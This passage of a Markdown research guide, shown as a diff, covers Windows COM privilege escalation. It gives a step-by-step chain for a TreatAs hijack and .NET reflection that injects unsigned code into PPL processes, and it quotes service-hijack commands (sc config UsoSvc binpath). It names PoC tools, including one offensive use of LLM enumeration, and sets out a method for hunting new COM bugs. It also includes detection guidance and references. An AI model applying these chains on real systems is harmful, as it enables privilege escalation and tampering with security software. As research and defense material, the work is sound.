`WaaSRemediationAgent` runs inside **`WaaSMedicSvc` as PPL `PsProtectedSignerWindows-Light`** (`$cls.AppIDEntry.ServiceProtectionLevel = WindowsLight`) — the service family that also gates access to LSASS-level protected processes. The chain ([4]):
|
||||||
|
|
||||||
|
1. Set `HKLM\SOFTWARE\Microsoft\.NETFramework\AllowDCOMReflection = 1` (DWORD) — re-enables .NET DCOM reflection disabled since **MS14-009** — and `OnlyUseLatestCLR = 1` to force CLR v4 (otherwise v2 loads). *(Admin is needed for HKLM; per-user HKCU COM/.NET registration can substitute — Forshaw: "the general technique does not [require admin]" given any suitable IDispatch-exposing server.)*
|
||||||
|
2. **`TreatAs` hijack:** point `HKLM\SOFTWARE\Classes\CLSID\{0BE35203-8F91-11CE-9DE3-00AA004BB851}\TreatAs` (StdFont) at the .NET **`System.Object`** COM class.
|
||||||
|
3. Create `WaaSRemediationAgent` OOP → walk IDispatch → stdole → StdFont `CreateInstance` → the **CLR loads inside the PPL** and returns `System.Object`.
|
||||||
|
4. `GetType` → .NET reflection → **`System.Reflection.Assembly::Load(byte[])`** → unsigned code executes inside a PPL-Windows process → instantiate an object in the loaded assembly → run code (LSASS-with-PPL and protected AV/EDR processes are now reachable). Clean up the registry afterwards.
|
||||||
|
5. **Windows 11 24H2 wrinkle:** the 64-bit `mscorlib.tlb` is a raw TLB and fails the `VerifyTrust` signing level (`STATUS_INVALID_IMAGE_FORMAT`); the **32-bit** `Framework\v4.0.30319\mscorlib.tlb` is PE-packed (MZ), so setting the cached signing level (or swapping the TLB registration path to the 32-bit file) makes the PoC work again. Forshaw did **not** release his PoC (C++; "very similar to my CVE-2014-0257 exploit", [7]).
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: each arrow crosses a trust boundary into the service process. The left chain (`IDispatch` → `ITypeInfo` → stdole → StdFont) is pure COM plumbing; the right chain (`TreatAs` → `System.Object` → `Assembly.Load`) is the .NET payload delivery. The side panel marks where oleaut32 `VerifyTrust` hardening can break the chain on 24H2.*
|
||||||
|
|
||||||
|
### 8.4 Third-party PoCs and detection
|
||||||
|
|
||||||
|
- **ComDotNetExploit** — Mohamed Fakroud's writeup plus PoC for the PPL injection ([59], [60]).
|
||||||
|
- **ForsHops** — IBM X-Force Red's "Fileless lateral movement with trapped COM objects" and tool: `forshops.exe [target] [c:\path\to\assembly]` ([57], [58]). Detection guidance (Samir Bousseaden): watch for a `TreatAs` key appearing on the StdFont CLSID, the `AllowDCOMReflection`/`OnlyUseLatestCLR` values, and a CLR load inside the WaaSMedicSvc svchost; YARA strings include the WaaSRemediation CLSID `{72566E27-…}` and `{34050212-8AEB-416D-AB76-1E45521DB615}`.
|
||||||
|
- **Outflank (Kyle Avery, July 2025)** used LLM-assisted enumeration to find **alternative IDispatch-exposing classes**, avoiding the PPL CLR-load limitation entirely ([61]) — the bug class is a *class*, not one service. Framing for operators: the LPE angle is sandbox/AppContainer escapes and PPL injection rather than plain user→SYSTEM; because Microsoft does not treat PPL as a security boundary, expect these primitives to live long.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. Other documented COM LPE vectors
|
||||||
|
|
||||||
|
1. **UPnP Device Host + Update Orchestrator chain (NCC Group / Fox-IT, November 2019, [63]).** **CVE-2019-1405** — logical flaw in the UPnP Device Host service's COM objects `UPnPContainerManager`/`UPnPContainerManager64`, implementing the undocumented `IUPnPContainerManager` (IID `6D8FF8D4-730D-11D4-BF42-00B0D0118B56`; methods `ReferenceContainer`, `UnReferenceContainer`, `CreateInstance`, `CreateInstanceWithProgID`, `Shutdown`) → any local user executes commands as **LOCAL SERVICE**. Fixed November 2019 by adding Administrators-only access checks to the dangerous methods. **CVE-2019-1322** — service misconfiguration: members of the **`SERVICE` group could reconfigure UsoSvc** (`sc stop UsoSvc` → `sc config UsoSvc binpath= …` → `sc start`), which runs as SYSTEM; fixed October 2019 by stripping Full Control from the SERVICE group. Chained: any local user → SYSTEM on Windows 10 1803–1903. PoC: **COMahawk** (`COMahawk64.exe`). The canonical "service exposes a dangerous COM API to everyone" teaching example, and the writeup's methodology section is a ready-made OleViewDotNet walkthrough.
|
||||||
|
2. **COM Aggregate Marshaler and type-library bugs (Forshaw, May 2017).** **CVE-2017-0213** (Aggregate Marshaler `CStdMarshal::Finish_RemQIAndUnmarshal2` RQI2 unpack bug; the PoC uses BITS `SetNotifyInterface` → type-library load under impersonation → **scriptlet moniker** → code execution in BITS as SYSTEM; exploit-db 42020; later entered CISA KEV, [65]) and **CVE-2017-0214** (type-library input validation). Pattern: callback interface plus type-library processing equals code execution inside the privileged server.
|
||||||
|
3. **Session Moniker / interactive-user DCOM (2017).** CVE-2017-0100 plus bad-fix CVE-2017-0298 — full treatment in section 6.2; pattern: `RunAs=Interactive User` + cross-session activation + missing client verification.
|
||||||
|
4. **WalletService memory corruption over COM — CVE-2020-1362 (Q4n/Haoran Qin + Zhiniang Peng, July 2020, [64]).** The WalletService COM server: `Wallet::WalletCustomProperty::SetGroup` OOB write → `SetLabel` BSTR pointer write-what-where → fake vtable → redirect a virtual call to `dxgi!ATL::CComObject<CDXGIAdapter>::vector deleting destructor`, whose `LoadLibraryExW` uses a writable global path → load an attacker DLL as SYSTEM; chained with CVE-2020-1361 for the heap leak. Medium IL → SYSTEM, verified on build 18363. Pattern: **DCOM method parameters → memory corruption in the privileged server** — the marshaling layer is the attack surface, not the business logic.
|
||||||
|
5. **Per-user COM hijack as an LPE vector.** User-writable per-user registrations (`HKCU\Software\Classes\CLSID\{…}\InprocServer32`, `TreatAs`, AppID paths) shadow machine registrations for classes activated *in the user's logon session*. Classic uses are UAC bypass and persistence (bohops, [69], [70]; MITRE ATT&CK **T1122 Component Object Model Hijacking**), but it becomes **LPE/PPL-relevant** when a higher-privileged in-session process — or an IDispatch trapped-object server — activates the class: Forshaw explicitly notes the per-user variant of the StdFont `TreatAs` hijack performs the PPL injection *without* admin (section 8.3). Triage question: "what identity activates user-scope classes on this box?"
|
||||||
|
6. **.NET COM interop into privileged processes.** Any registered .NET COM class loads the CLR (`mscoree`) into the activating process — including SYSTEM services and PPL processes. Leveraged by CVE-2014-0257 (Forshaw's IE sandbox escape, public PoC, [7]), by the trapped-object chain, and historically by .NET DCOM reflection (`System.Type` over DCOM → arbitrary reflection; fixed by **MS14-009**, re-enablable via `AllowDCOMReflection`; `OnlyUseLatestCLR` selects CLR v4). Pattern: **registry values + TreatAs + a .NET class = unsigned code inside signed processes.**
|
||||||
|
7. **WinRT brokers.** WinRT is COM underneath: runtime classes, activation via combase, broker processes crossing IL/AppContainer boundaries. Verified in-scope example: **CVE-2019-0555** (XML DOM through WinRT, section 8.1). Brokers are OOP COM servers with sandbox-facing activation permissions — triage them with exactly the section 10 checklist.
|
||||||
|
8. **DiagHub sibling CVEs.** CVE-2018-0952 ([66]) and the case-sensitivity directory-traversal EoP ([67]) — covered with the case study in section 4; "DCOM service with file-manipulation methods = recurring CVE farm".
|
||||||
|
9. **Adjacent but NOT COM — do not mislabel.** **Perfusion** (itm4n) is the `RpcEptMapper` registry-key ACL bug (Win7/2008R2/8/2012) — RPC, not COM. **FullPowers** recovers the LOCAL/NETWORK SERVICE default privileges through the task scheduler — not COM. **CVE-2020-1337** is a Print Spooler file-write — RPC. Precision here is not pedantry: it decides which hardening rows of section 6.3 apply, and which fuzzer you point at the target in section 10.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. Research Lab: Finding New COM LPE Bugs
|
||||||
|
|
||||||
|
Everything above was found with the workflow below. The category is not mined out: DiagHub kept producing CVEs for years, the potato family respawns after every mitigation, and the trapped-object class produced a flagship result in January 2025.
|
||||||
|
|
||||||
|
### 10.1 Hunting hypothesis
|
||||||
|
|
||||||
|
The classes of *new* bugs this category still hides:
|
||||||
|
|
||||||
|
- OOP servers whose methods touch attacker-controlled paths without impersonation, or with check-then-revert gaps (bug classes 1–2) — especially newly shipped inbox services.
|
||||||
|
- Service-hosted classes whose AppID grants AppContainer/LPAC activation — a sandbox-escape pipeline identical to DiagHub's original audience.
|
||||||
|
- Callback-accepting methods (interface pointers as parameters) where the server calls back with `RPC_C_IMP_LEVEL_IMPERSONATE` — the DCOMPotato pattern, almost certainly present in unaudited services.
|
||||||
|
- `IDispatch`-exposing service classes beyond the five default-box candidates (alternative trapped-object entries, as Outflank's LLM-assisted enumeration demonstrated, [61]) and type-library trust / `TreatAs` paths that survive the `VerifyTrust` signing-level hardening.
|
||||||
|
|
||||||
|
### 10.2 Enumeration
|
||||||
|
|
||||||
|
**OleViewDotNet** (Forshaw, [8]; .NET 4; PowerShell module `Install-Module OleViewDotNet` — **PowerShell 5 only, not 7+**):
|
||||||
|
|
||||||
|
- GUI: `Registry → Local Services` (COM objects hosted in services, filterable), `Registry → CLSIDs by Server`, and per-object **View Launch Permissions / View Access Permissions** (decoded AppID SDDLs).
|
||||||
|
- PowerShell:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
Get-ComClass -Service # service-hosted classes
|
||||||
|
Get-ComClass -Clsid $clsid | % Servers # InProc vs Local servers
|
||||||
|
$cls = Get-ComClass -Clsid $clsid
|
||||||
|
$cls.AppIDEntry # RunAs, service name, SDDLs
|
||||||
|
$cls.AppIDEntry.ServiceProtectionLevel # PPL check (e.g. WindowsLight)
|
||||||
|
# object walk (New-ComObject, Get-ComInterface, Import-ComTypeLib, Get-ComObjRef): section 8.2
|
||||||
|
```
|
||||||
|
|
||||||
|
**Raw registry:** `HKLM\SOFTWARE\Classes\CLSID`, `…\AppID\{guid}` values `LaunchPermission`, `AccessPermission`, `RunAs`, `Service`, `ServiceProtectionLevel`; machine defaults under `HKLM\SOFTWARE\Microsoft\Ole`; per-user shadow at `HKCU\Software\Classes\CLSID`.
|
||||||
|
|
||||||
|
**Existing abusable-CLSID corpora:** the per-OS lists at `ohpe.it/juicy-potato/CLSID/` ([33]), the strontic xcyclopedia CLSID library, and the juicy-potato repo README tables ([34]). **RPC/RPCSS surface:** RpcView (endpoint/interface dump), impacket `rpcdump.py`, and the Wireshark DCERPC + DCOM (`IObjectExporter`/`IRemUnknown2`) dissectors for watching activations on the wire.
|
||||||
|
|
||||||
|
### 10.3 Triage checklist
|
||||||
|
|
||||||
|
A target is promising if:
|
||||||
|
|
||||||
|
1. OOP server (`LocalServer32` or service-hosted AppID).
|
||||||
|
2. Runs as SYSTEM (or LOCAL/NETWORK SERVICE for a hop).
|
||||||
|
3. Launch **and** access ACLs include your principal — Authenticated Users, INTERACTIVE, or AppContainer/LPAC for sandbox escapes.
|
||||||
|
4. Methods touch filesystem paths, the registry, process creation, `LoadLibrary*`, `SetNamedSecurityInfo`, or token APIs; or accept interface pointers (callback impersonation — the DCOMPotato pattern); or return objects (the trapped-object pattern).
|
||||||
|
5. Bonus: `IDispatch` present (type-library vector), .NET interop, or `RunAs=Interactive User`.
|
||||||
|
|
||||||
|
### 10.4 Static RE checklist (Forshaw's DiagHub recipe, generalized)
|
||||||
|
|
||||||
|
1. OleViewDotNet: create an instance → Marshal ⇒ View Properties → capture **PID + IPID + OXID + string bindings + authentication services**.
|
||||||
|
2. OVDN process view (needs admin and configured symbols: dbghelp from WinDbg plus `srv*https://msdl.microsoft.com/download/symbols`) → IPID entry → **interface pointer + server-side VTable address** (e.g. `DiagnosticsHub_StandardCollector_Runtime+0x36C78`).
|
||||||
|
3. WinDbg attach: `dqs <module>+<offset> L<nMethods>` → symbolized method names (public symbols exist on Microsoft components).
|
||||||
|
4. OVDN **View Proxy Definition** → decompiles the NDR stubless bytecode → method signatures; the **Structures tab** → marshaled struct layouts → rebuild the interface in C++/C#.
|
||||||
|
5. In IDA/Ghidra: xref command strings (itm4n's `"StartScan"` technique, section 5.3), map `_guard_dispatch_icall_fptr` indirect calls to VTable slots via dynamic breakpoints, and match client proxy slots (`ObjectStublessClientN`) to server symbols.
|
||||||
|
6. Hunt the failure modes of section 3: missing or late `CoImpersonateClient`/`RpcImpersonateClient`, early `RevertToSelf`, identify-level acceptance, device-map/symlink handling under impersonation, `RunAs` mismatches, type-library/TLB trust, `TreatAs`, unmarshaled-object safety.
|
||||||
|
|
||||||
|
### 10.5 Dynamic harness
|
||||||
|
|
||||||
|
Minimal C++ client — the same shape as the USO reconstruction (section 5.2), generalized *(illustrative skeleton)*:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
CoInitializeEx(0, COINIT_MULTITHREADED);
|
||||||
|
IUnknown* pUnk = nullptr;
|
||||||
|
CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pUnk));
|
||||||
|
// Offer impersonation — the contract from section 2:
|
||||||
|
CoSetProxyBlanket(pUnk, RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
|
||||||
|
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_DEFAULT,
|
||||||
|
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_NONE);
|
||||||
|
// QueryInterface to the target IID, then invoke methods with controlled inputs:
|
||||||
|
// path arguments (junctions, symlinks, device-map paths, odd extensions) and
|
||||||
|
// interface-pointer arguments (your own fake IUnknown/IMarshal implementations)
|
||||||
|
CoUninitialize();
|
||||||
|
```
|
||||||
|
|
||||||
|
Observe the server side with **Process Monitor** (filter: server PID; watch file/registry/LoadImage operations executing as SYSTEM), API Monitor, and WinDbg breakpoints on `CoImpersonateClient`, `RpcImpersonateClient`, `CreateFileW`, `RegCreateKeyExW`, `LoadLibraryExW`, `SetNamedSecurityInfo`. ETW providers Microsoft-Windows-RPC and COM give call tracing. Use **TokenViewer** (Forshaw) to inspect any captured token — impersonation vs identification is the number-one source of "the exploit didn't work" confusion (error 1346, section 2).
|
||||||
|
|
||||||
|
### 10.6 Fuzzing marshal paths
|
||||||
|
|
||||||
|
- Mutate marshaled NDR buffers against the **NDR interpreter stubs** — the exact layer OVDN decompiles in step 10.4.4. Watch for OOB behavior in server-side unmarshalling (the WalletService class, CVE-2020-1362) and for marshal-by-reference object leaks (section 8).
|
||||||
|
- Prior art: **COMRace** (USENIX Security '22 — data-race detection in COM objects, [71]); **Black Hat EU 2024 "Enhancing Automatic Vulnerability Discovery for Windows RPC/COM in New Ways"** (harness generation, [72]). Poor-man's fuzzer: interface brute-calling via the OVDN PowerShell module (`New-ComObject` + method invocation with mutated arguments), and RPC-aware fuzzing driven from IDA-generated clients.
|
||||||
|
|
||||||
|
### 10.7 Patch diffing
|
||||||
|
|
||||||
|
BinDiff/Ghidra the usual binaries: `rpcss.dll`, `combase.dll`, `ole32.dll`, `oleaut32.dll`, `usosvc.dll`, `usocoreworker`, and the DiagHub runtime. Proven patterns to look for:
|
||||||
|
|
||||||
|
- New ACL checks inside methods (the CVE-2019-1405 fix).
|
||||||
|
- Service security-descriptor changes (the CVE-2019-1322 fix).
|
||||||
|
- **Silent** binding-builder changes (the 1809 `MakeBinding` → `CreateRemoteBindingToOR` rewrite).
|
||||||
|
- Image-load and signing trust: `ProcessImageLoadPolicy` (19H1); signing-level enforcement (`VerifyTrust` in oleaut32).
|
||||||
|
- NTLM package changes (`SsprHandleChallengeMessage`, CVE-2023-21746 — diff `msv1_0.dll`).
|
||||||
|
|
||||||
|
A silent diff in any of these is a map of what the previous technique did — and usually of what a variant must now avoid.
|
||||||
|
|
||||||
|
### 10.8 From crash or lead to primitive
|
||||||
|
|
||||||
|
- A missing-impersonation lead becomes a primitive when you can (a) control the resource path and (b) name a target file the server will touch — prove it with ProcMon showing a SYSTEM-integrity `CreateFile` on your path.
|
||||||
|
- A captured token becomes a primitive only at `RPC_C_IMP_LEVEL_IMPERSONATE`; check it in TokenViewer before writing any process-spawning code, and expect error 1346 otherwise.
|
||||||
|
- A marshaling crash becomes a primitive when you control the overwritten offset — the WalletService writeup ([64]) is the model for turning DCOM-parameter corruption into a vtable redirect.
|
||||||
|
- A trapped object becomes a primitive when `Get-ComObjRef` proves it lives in the privileged process and you can reach a `CreateInstance`-capable type info (section 8.2).
|
||||||
|
|
||||||
|
### 10.9 Further reading
|
||||||
|
|
||||||
|
- Windows Bug Class: Accessing Trapped COM Objects with IDispatch ([4])
|
||||||
|
- Weaponizing Privileged File Writes with the USO Service, parts 1–2 ([9], [10])
|
||||||
|
- CVE-2019-1405 and CVE-2019-1322 — Elevation to SYSTEM via UPnP Device Host and Update Orchestrator ([63])
|
||||||
|
- DCOM Turns 30: Revisiting a Legacy Interface in the Modern Threatscape, hack.lu 2025 slides ([73])
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 11. References
|
||||||
|
|
||||||
|
**Project Zero / Forshaw (primary sources)**
|
||||||
|
|
||||||
|
- [1] Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege (DiagHub) — James Forshaw, Project Zero (2018) — https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html (mirror: https://projectzero.google/2018/04/windows-exploitation-tricks-exploiting.html)
|
||||||
|
- [2] Project Zero issue 1428 (StorSvc `SvcMoveFileInheritSecurity`, full exploit incl. DiagHub loader) — James Forshaw (2018) — https://bugs.chromium.org/p/project-zero/issues/detail?id=1428
|
||||||
|
- [3] Project Zero issue 325 (DCOM DCE/RPC Local NTLM Reflection → CVE-2015-2370) — James Forshaw (2015) — https://bugs.chromium.org/p/project-zero/issues/detail?id=325
|
||||||
|
- [4] Windows Bug Class: Accessing Trapped COM Objects with IDispatch — James Forshaw, Project Zero (2025) — https://projectzero.google/2025/01/windows-bug-class-accessing-trapped-com.html (mirror: https://googleprojectzero.blogspot.com/2025/01/windows-bug-class-accessing-trapped-com.html)
|
||||||
|
- [5] Windows Exploitation Tricks: Relaying DCOM Authentication — James Forshaw, Project Zero (2021) — https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html
|
||||||
|
- [6] Sharing a Logon Session a Little Too Much — James Forshaw (2020) — https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html
|
||||||
|
- [7] CVE-2014-0257 PoC (.NET DCOM reflection; IE11SandboxEscapes) — James Forshaw — https://github.com/tyranid/IE11SandboxEscapes
|
||||||
|
- [8] OleViewDotNet — James Forshaw — https://github.com/tyranid/oleviewdotnet
|
||||||
|
|
||||||
|
**itm4n**
|
||||||
|
|
||||||
|
- [9] Weaponizing Privileged File Writes with the USO Service — Part 1 — itm4n (2019) — https://itm4n.github.io/usodllloader-part1/
|
||||||
|
- [10] Weaponizing Privileged File Writes with the USO Service — Part 2 — itm4n (2019) — https://itm4n.github.io/usodllloader-part2/
|
||||||
|
- [11] UsoDllLoader — itm4n — https://github.com/itm4n/UsoDllLoader
|
||||||
|
- [12] PrintSpoofer — Abusing Impersonation Privileges on Windows 10 and Server 2019 — itm4n (2020) — https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
|
||||||
|
- [13] PrintSpoofer repository — itm4n — https://github.com/itm4n/PrintSpoofer
|
||||||
|
|
||||||
|
**decoder.cloud / splinter_code / antonioCoco**
|
||||||
|
|
||||||
|
- [14] No more JuicyPotato? Old story, welcome RoguePotato! — decoder (2020) — https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/
|
||||||
|
- [15] No more rotten/juicy potato? (the 1809 silent fix) — decoder (2018) — https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/
|
||||||
|
- [16] Giving JuicyPotato a second chance: JuicyPotatoNG — decoder (2022) — https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/
|
||||||
|
- [17] The impersonation game (Juicy2 lineage) — decoder (2020) — https://decoder.cloud/2020/05/30/the-impersonation-game/
|
||||||
|
- [18] The lonely potato — decoder (2017) — https://decoder.cloud/2017/12/23/the-lonely-potato/
|
||||||
|
- [19] From NETWORK SERVICE to SYSTEM — decoder (2020) — https://decoder.cloud/2020/04/01/from-network-service-to-system/
|
||||||
|
- [20] We thought they were potatoes but they were beans (SweetPotato analysis) — decoder (2019) — https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/
|
||||||
|
- [21] LocalPotato — When Swapping The Context Leads You To SYSTEM — decoder (2023) — https://decoder.cloud/2023/02/13/localpotato-when-swapping-the-context-leads-you-to-system/
|
||||||
|
- [22] LocalPotato HTTP edition — decoder (2023) — https://decoder.cloud/2023/11/03/localpotato-http-edition/
|
||||||
|
- [23] LocalPotato repository — decoder — https://github.com/decoder-it/LocalPotato (technical writeup: https://www.localpotato.com/localpotato_html/LocalPotato.html)
|
||||||
|
- [24] RoguePotato repository — antonioCoco — https://github.com/antonioCoco/RoguePotato
|
||||||
|
- [25] JuicyPotatoNG repository — antonioCoco — https://github.com/antonioCoco/JuicyPotatoNG
|
||||||
|
- [26] RogueWinRM — antonioCoco — https://github.com/antonioCoco/RogueWinRM
|
||||||
|
- [27] 10 Years of Windows Privilege Escalation with Potatoes (talk slides) — Antonio Cocomazzi, POC2023/Troopers24 — https://powerofcommunity.net/poc2023/AntonioCocomazzi.pdf (mirror: https://troopers.de/downloads/troopers24/TR24_10_years_of_Windows_Privilege_Escalation_with_Potatoes_CYZBJ3.pdf)
|
||||||
|
|
||||||
|
**FoxGlove Security / ohpe**
|
||||||
|
|
||||||
|
- [28] Rotten Potato — Privilege Escalation from Service Accounts to SYSTEM — FoxGlove Security (2016) — https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
|
||||||
|
- [29] Hot Potato — FoxGlove Security (2016) — https://foxglovesecurity.com/2016/01/16/hot-potato/
|
||||||
|
- [30] Abusing Token Privileges for Windows Local Privilege Escalation — FoxGlove Security (2017) — https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/
|
||||||
|
- [31] RottenPotato / RottenPotatoNG repositories — FoxGlove Security — https://github.com/foxglovesec/RottenPotato and https://github.com/foxglovesec/RottenPotatoNG
|
||||||
|
- [32] JuicyPotato (abusing the golden privileges) — ohpe & decoder (2018) — http://ohpe.it/juicy-potato/
|
||||||
|
- [33] JuicyPotato per-OS CLSID lists — ohpe — http://ohpe.it/juicy-potato/CLSID/
|
||||||
|
- [34] juicy-potato repository — ohpe — https://github.com/ohpe/juicy-potato
|
||||||
|
|
||||||
|
**CVE-2015-2370 ecosystem and CVE-2017-0100**
|
||||||
|
|
||||||
|
- [35] Exploiting MS15-076 (CVE-2015-2370) — the "Trebuchet" weaponization — NetSPI — https://www.netspi.com/blog/technical-blog/web-application-pentesting/exploiting-ms15-076-cve-2015-2370/
|
||||||
|
- [36] CVE-2017-0100 advisory (Windows HelpPane Elevation of Privilege Vulnerability) — Microsoft MSRC (2017) — https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-0100 (NVD mirror: https://nvd.nist.gov/vuln/detail/CVE-2017-0100)
|
||||||
|
- [37] Windows: Bad Fix for COM Session Moniker EoP (CVE-2017-0298) — James Forshaw (2017) — mirrored at https://sploitus.com/exploit?id=1337DAY-ID-28134
|
||||||
|
|
||||||
|
**Other potatoes and coercion tooling**
|
||||||
|
|
||||||
|
- [38] SweetPotato — CCob — https://github.com/CCob/SweetPotato
|
||||||
|
- [39] SweetPotato — Local Service to SYSTEM — @_EthicalChaos_ (2020) — https://ethicalchaos.dev/2020/04/13/sweetpotato-local-service-to-system-privesc/ (analysis: https://www.pentestpartners.com/security-blog/sweetpotato-service-to-system/)
|
||||||
|
- [40] SpoolSample (MS-RPRN coercion PoC) — Lee Christensen — https://github.com/leechristensen/SpoolSample
|
||||||
|
- [41] EfsPotato — zcgonvh — https://github.com/zcgonvh/EfsPotato
|
||||||
|
- [42] SharpEfsPotato — bugch3ck — https://github.com/bugch3ck/SharpEfsPotato
|
||||||
|
- [43] DCOMPotato — zcgonvh — https://github.com/zcgonvh/DCOMPotato
|
||||||
|
- [44] GodPotato — BeichenDream — https://github.com/BeichenDream/GodPotato
|
||||||
|
- [45] BadPotato — BeichenDream — https://github.com/BeichenDream/BadPotato
|
||||||
|
- [46] PrintNotifyPotato — BeichenDream — https://github.com/BeichenDream/PrintNotifyPotato
|
||||||
|
- [47] CoercedPotato — Hackvens (@Hack0ura & @Prepouce) — https://github.com/Prepouce/CoercedPotato (writeup, FR: https://blog.hackvens.fr/articles/CoercedPotato.html)
|
||||||
|
- [48] PetitPotato — wh0amitz — https://github.com/wh0amitz/PetitPotato
|
||||||
|
- [49] RasmanPotato — crisprss — https://github.com/crisprss/RasmanPotato
|
||||||
|
- [50] CandyPotato — klezVirus — https://github.com/klezVirus/CandyPotato
|
||||||
|
- [51] MultiPotato — S3cur3Th1sSh1t — https://github.com/S3cur3Th1sSh1t/MultiPotato
|
||||||
|
- [52] SigmaPotato — tylerdotrar — https://github.com/tylerdotrar/SigmaPotato
|
||||||
|
- [53] GhostPotato — Shenanigans Labs (2019) — https://shenaniganslabs.io/2019/11/12/Ghost-Potato.html
|
||||||
|
- [54] GenericPotato (The Power of SeImpersonation) — Micah van Deusen (2021) — https://micahvandeusen.com/the-power-of-seimpersonation/
|
||||||
|
- [55] RemotePotato0 / Relaying Potatoes — antonioCoco & SentinelOne (2021) — https://www.sentinelone.com/labs/relaying-potatoes-another-unexpected-privilege-escalation-vulnerability-in-windows-rpc-protocol/
|
||||||
|
- [56] CertPotato — SensePost (2022) — https://sensepost.com/blog/2022/certpotato-using-adcs-to-privesc-from-virtual-and-network-service-accounts-to-local-system/
|
||||||
|
|
||||||
|
**Trapped COM object ecosystem**
|
||||||
|
|
||||||
|
- [57] Fileless lateral movement with trapped COM objects — IBM X-Force Red — https://www.ibm.com/think/news/fileless-lateral-movement-trapped-com-objects
|
||||||
|
- [58] ForsHops — IBM X-Force Red — https://github.com/xforcered/ForsHops
|
||||||
|
- [59] Abusing IDispatch for Trapped COM Object Access & Injecting into PPL Processes — Mohamed Fakroud — https://mohamed-fakroud.gitbook.io/red-teamings-dojo/abusing-idispatch-for-trapped-com-object-access-and-injecting-into-ppl-processes
|
||||||
|
- [60] ComDotNetExploit (PPL injection PoC) — T3nb3w — https://github.com/T3nb3w/ComDotNetExploit
|
||||||
|
- [61] Accelerating Offensive R&D with LLMs (alternative trapped-object classes) — Kyle Avery, Outflank (2025) — https://www.outflank.nl/blog/2025/07/29/accelerating-offensive-research-with-llm/
|
||||||
|
- [62] RemoteMonologue (DCOM NTLM authentication coercion) — IBM X-Force — https://www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions
|
||||||
|
|
||||||
|
**Other COM LPE CVEs, privileged-file-operation abuse, and fuzzing**
|
||||||
|
|
||||||
|
- [63] CVE-2019-1405 and CVE-2019-1322 — Elevation to SYSTEM via the UPnP Device Host Service and the Update Orchestrator Service — Langlois & Torkington, NCC Group Fox-IT (2019) — https://www.fox-it.com/be-en/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/
|
||||||
|
- [64] CVE-2020-1362 WalletService writeup — Q4n (Haoran Qin) (2020) — https://github.com/Q4n/CVE-2020-1362
|
||||||
|
- [65] CVE-2017-0213 exploit (COM Aggregate Marshaler) — exploit-db 42020 — https://www.exploit-db.com/exploits/42020/
|
||||||
|
- [66] CVE-2018-0952 DiagHub PoC — Atredis Partners — https://github.com/atredispartners/CVE-2018-0952-SystemCollector
|
||||||
|
- [67] DiagHub case-sensitivity directory-traversal EoP — irsl — https://github.com/irsl/microsoft-diaghub-case-sensitivity-eop-cve
|
||||||
|
- [68] Introduction to privileged file operation abuse on Windows — OffSec/Almond — https://offsec.almond.consulting/intro-to-file-operation-abuse-on-Windows.html
|
||||||
|
- [69] Abusing the COM Registry Structure: CLSID, LocalServer32, & InprocServer32 — bohops (2018) — https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/
|
||||||
|
- [70] Abusing the COM Registry Structure (Part 2): Loading Techniques for Evasion and Persistence — bohops (2018) — https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
|
||||||
|
- [71] COMRace (USENIX Security '22 talk) — https://www.youtube.com/watch?v=9bBh2YEqVMA
|
||||||
|
- [72] Enhancing Automatic Vulnerability Discovery for Windows RPC/COM in New Ways (Black Hat EU 2024 talk) — https://www.youtube.com/watch?v=VQiQuLo0v58
|
||||||
|
- [73] DCOM Turns 30: Revisiting a Legacy Interface in the Modern Threatscape (hack.lu 2025 slides) — https://d3lb3.github.io/assets/hacklu_2025.pdf
|
||||||
|
|
||||||
|
**Microsoft documentation (impersonation contract and hardening)**
|
||||||
|
|
||||||
|
- [74] CoSetProxyBlanket — Microsoft Learn — https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cosetproxyblanket
|
||||||
|
- [75] CoImpersonateClient — Microsoft Learn — https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-coimpersonateclient
|
||||||
|
- [76] Cloaking — Microsoft Learn — https://learn.microsoft.com/en-us/windows/win32/com/cloaking
|
||||||
|
- [77] RPC_C_IMP_LEVEL enumeration — Microsoft Learn — https://learn.microsoft.com/en-us/windows/win32/api/wtypesbase/ne-wtypesbase-rpc_imp_level
|
||||||
|
- [78] KB5004442 — Manage changes for Windows DCOM Server Security Feature Bypass (CVE-2021-26414) — Microsoft Support — https://support.microsoft.com/en-us/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-979ed901b716
|
||||||
@@ -0,0 +1,792 @@
|
|||||||
|
# 04 · COM-Based UAC Bypass
|
||||||
|
|
||||||
|
